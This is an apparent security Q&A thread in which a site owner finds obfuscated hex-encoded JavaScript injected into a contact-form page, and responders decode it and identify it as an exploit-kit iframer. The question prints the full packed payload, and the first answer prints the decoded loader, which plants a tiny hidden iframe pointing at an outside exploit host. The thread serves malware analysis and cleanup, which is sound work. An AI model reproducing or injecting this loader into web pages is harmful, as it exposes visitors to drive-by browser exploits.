Javascript containing a long hexadecimal string and eval: is this suspicious?

Question

At the bottom of the index.php file for a simple “contact us” form, I found the following (some whitespace and newlines added):

try {if(window.document)--document.getElementById('12')}
catch(qq) {if(qq!=null)ss=eval("St"+"ring");}
a="74837c7182777d7c2e88888874747436372e89182e846f802e797a7171802e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e797a7171803c8180712e4b2e357682827e483d3d7c777c7d807d7b6f7c7d3c77823d525c5558867251653c7e767e3549182e797a7171803c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e797a7171803c8182877a733c707d807273802e4b2e353e3549182e797a7171803c8182877a733c7673777576822e4b2e35477e863549182e797a7171803c8182877a733c85777282762e4b2e35457e863549182e797a7171803c8182877a733c7a7374822e4b2e353f7e863549182e797a7171803c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635797a7171803537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35797a7171806a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635797a71718035373c6f7e7e737c725176777a7236797a7171803749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";
z=[];
for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);}
eval(ss["fr"+"omCharCode"].apply(ss,z));
</script><!--/0f2490-->

Anyone know what this code does? Is this likely to be an expected part of the page, or is it a sign that the website has been hacked?

Answer 1

I found out what it does (please be lenient with me, I am not a javascript developer)

What can be easily seen, is that the script invokes String.fromCharCode() on the numbers present on the a string to create a new String, and execute it. The code the a string get's translated to is:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Now, I am not sure about that (remember I am no javascript developer) but it seems to be code that steals cookies (session hijacking perhaps)?

EDIT

On further research:

• The script is checking if there is a specific cookie present (Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation") and if it is not it creates it.
• It then creates a new element in the document, which it modifies to make it very difficult to notice (7 pixels width, 9 pixels height), and which runs a php script available at http://ninoromano.it/DNGJxdCW.php. If you visit this, it returns "ok" and nothing else in the page's code (the domain appears to be compromised). (I can't get any more information beyond that)

Most likely it is a session hijacking attempt.

Answer 2

The first time you run it, the script creates an iframe pointing at ninoromano.it. It then creates a cookie so that on subsequent times you load it, it doesn't run again.

The iframe is a browser exploit script. If you view it in a browser that it doesn't know about you just get the 'ok' string, but if you load it in, say, an older copy of IE, you get a whole bunch of exploits to infect your machine.

The site got hacked (and so did ninoromano by the looks of it). A common source of this kind of infection is client-side malware stealing server account passwords (often the same malware served by the exploits!). Whoever is responsible needs to scan all client machines that have accessed the server with multiple AVs (because AVs aren't very reliable); reinstall any infected clients from scratch; choose new server passwords; reinstall the server from scratch.

Answer 3

What you are looking at is a packed (obfuscated) version of an exploit kit "iframer". "iframer" just means a snippet of Javascript that will load an external iframe; in most cases the iframe will point to some part of a chain that will eventually load a browser exploit kit.

(Obviously do not directly visit any of the below links.)

If you make a request to the exploit kit landing page, hxxp://ninoromano.it/DNGJxdCW.php with a valid referer and an IE user-agent, you will be redirected to another URL.

This is the redirection stage; ninoromano.it in this case is likely part of a "TDS", traffic distribution system: its job is to split traffic to different exploit kit landing pages (or sometimes generic spamvertising) based on the referer, and sometimes the country of the client.

http://www.symantec.com/connect/blogs/web-based-malware-distribution-channels-look-traffic-redistribution-systems

The loaded URL has a pattern similar to hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm. Here is its content.

http://pastebin.com/gw20261S

Just by looking at that page, I already recognize this as the "Cool Exploit Kit". You can learn details about this exploit kit in various places:

http://www.avgthreatlabs.com/virus-and-malware-information/info/cool-exploit-kit/ http://malware.dontneedcoffee.com/2012/10/newcoolek.html http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html

Another iframe is loaded by the landing page, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

This iframe contains the bulk of the actual malicious code. It attempts various exploits, primarily Java exploits, all of which will download and execute a malicious payload.

http://urlquery.net is a fantastic site for automating this kind of analysis. Just be sure to set an IE user-agenet and some sort of referer each time.

Many different exploit kits use that flavor of JS packer you are seeing at the bottom of the page. If you see any code that looks like that, you can assume it is very malicious.